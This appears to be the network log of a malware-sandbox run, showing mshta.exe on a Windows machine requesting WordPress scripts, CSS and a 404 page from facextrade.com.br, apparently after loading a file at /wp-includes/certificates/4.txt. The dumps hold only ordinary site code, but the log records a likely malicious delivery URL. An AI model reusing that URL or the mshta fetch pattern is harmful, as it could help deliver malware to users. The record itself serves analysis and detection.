Aug 16, 2022 11:49:44.726330042 CEST	14	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49185	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:47.357372046 CEST	422	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:47.573851109 CEST	443	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:17 GMT Server: Apache ETag: "a55f41-2ea7-5c001a3bd78ff" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 11943 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 18315305 24087368 Age: 150 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t-
Aug 16, 2022 11:49:47.573889017 CEST	444	IN	Data Raw: 2d 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65 Data Ascii: -;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSVGElement"in e\|\|h.test(e.nodeName.toLowerCase())\|\|d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.ind
Aug 16, 2022 11:49:47.573915005 CEST	446	IN	Data Raw: 5c 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 Data Ascii: \uddb3])\|(?:\ud83c[\udfcb\udfcc]\|\ud83d[\udd74\udd75]\|\u26f9)((?:\ud83c[\udffb-\udfff]\|\ufe0f)\u200d[\u2640\u2642]\ufe0f)\|(?:\ud83c[\udfc3\udfc4\udfca]\|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea
Aug 16, 2022 11:49:47.573939085 CEST	447	IN	Data Raw: 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 Data Ascii: c69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83c\udff3\ufe0f\u200d\ud83c\udf08\|\ud83c\udff4\u200d\u2620\ufe0f\|\ud83d\udc41\u200d\ud83d\udde8\|\ud83d\udc68\u200d\ud83d[\udc66\udc67]\|
Aug 16, 2022 11:49:47.573965073 CEST	448	IN	Data Raw: 5c 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32 Data Ascii: \u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\
Aug 16, 2022 11:49:47.573992968 CEST	450	IN	Data Raw: 5c 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66 Data Ascii: \uddf0-\uddf5\uddf7\uddfa-\uddff]\|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]\|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]\|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]\|\ud83c\uddec\ud83c[\udde6\udde
Aug 16, 2022 11:49:47.574017048 CEST	451	IN	Data Raw: 64 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36 Data Ascii: dde6\uddf2\uddfc]\|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\u
Aug 16, 2022 11:49:47.574043036 CEST	453	IN	Data Raw: 66 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66 Data Ascii: f.push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u\|\|"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp\|\|{},c.wp.emoji=new function(){var n,u,e=c.Mut
Aug 16, 2022 11:49:47.574069023 CEST	454	IN	Data Raw: 7c 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32 Data Ascii: \|\|/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A
Aug 16, 2022 11:49:47.574090004 CEST	454	IN	Data Raw: 4e 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63 Data Ascii: Node&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{
Aug 16, 2022 11:49:47.577038050 CEST	455	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:47.801143885 CEST	457	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT ETag: "a4fbb9-6cf-58592ec50f000" Accept-Ranges: bytes Content-Length: 1743 Connection: close Content-Type: text/css Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 72 65 73 70 6f 6e 73 65 2d 6f 75 74 70 75 74 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 32 65 6d 20 30 2e 35 65 6d 20 31 65 6d 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 2e 32 65 6d 20 31 65 6d 3b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6f 6b 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 33 39 38 66 31 34 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6e 67 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 62 6f 72 74 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 73 70 61 6d 2d 62 6c 6f 63 6b 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 61 35 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 65 72 72 6f 72 73 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 2d 6d 69 73 73 69 6e 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 37 65 37 30 30 3b 0a 7d 0a 0a 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 66 30 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 75 73 65 2d 66 6c 6f 61 74 69 6e 67 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 74 69 70 20 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 20 32 30 25 3b 0a 09 6c 65 66 74 3a 20 32 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 30 30 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 38 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 77 70 63 Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {margin: 2em 0.5em 1em;padding: 0.2em 1em;border: 2px solid #ff0000;}div.wpcf7-mail-sent-ok {border: 2px solid #398f14;}div.wpcf7-mail-sent-ng,div.wpcf7-aborted {border: 2px solid #ff0000;}div.wpcf7-spam-blocked {border: 2px solid #ffa500;}div.wpcf7-validation-errors,div.wpcf7-acceptance-missing {border: 2px solid #f7e700;}.wpcf7-form-control-wrap {position: relative;}span.wpcf7-not-valid-tip {color: #f00;font-size: 1em;font-weight: normal;display: block;}.use-floating-validation-tip span.wpcf7-not-valid-tip {position: absolute;top: 20%;left: 20%;z-index: 100;border: 1px solid #ff0000;background: #fff;padding: .2em .8em;}span.wpcf7-list-item {display: inline-block;margin: 0 0 0 1em;}span.wpcf7-list-item-label::before,span.wpcf7-list-item-label::after {content: " ";}.wpc
Aug 16, 2022 11:49:47.801188946 CEST	458	IN	Data Raw: 66 37 2d 64 69 73 70 6c 61 79 2d 6e 6f 6e 65 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b Data Ascii: f7-display-none {display: none;}div.wpcf7 .ajax-loader {visibility: hidden;display: inline-block;background-image: url('../../images/ajax-loader.gif');width: 16px;height: 16px;border: none;padding: 0;margin: 0 0 0 4px;ve

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.22	49186	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:47.636425018 CEST	456	OUT	GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:47.857049942 CEST	459	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:47 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT ETag: "a4f8ac-193-58592c71f7400" Accept-Ranges: bytes Content-Length: 403 Connection: close Content-Type: text/css Data Raw: 62 6f 64 79 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 2d 69 6e 6e 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 0a 7d Data Ascii: body .main-holder {overflow: hidden;position: static;}.parallax-box {position: relative;}.parallax-content {position: relative;z-index: 2;}.parallax-bg {position: absolute;overflow:hidden;top: 0;left: 0;width: 100%;height:100%;}.parallax-bg-inner {position:relative;background-repeat: no-repeat;background-size: cover;background-position: center;max-width:none;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.22	49187	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:48.052737951 CEST	460	OUT	GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:49.191515923 CEST	462	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:49:48 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 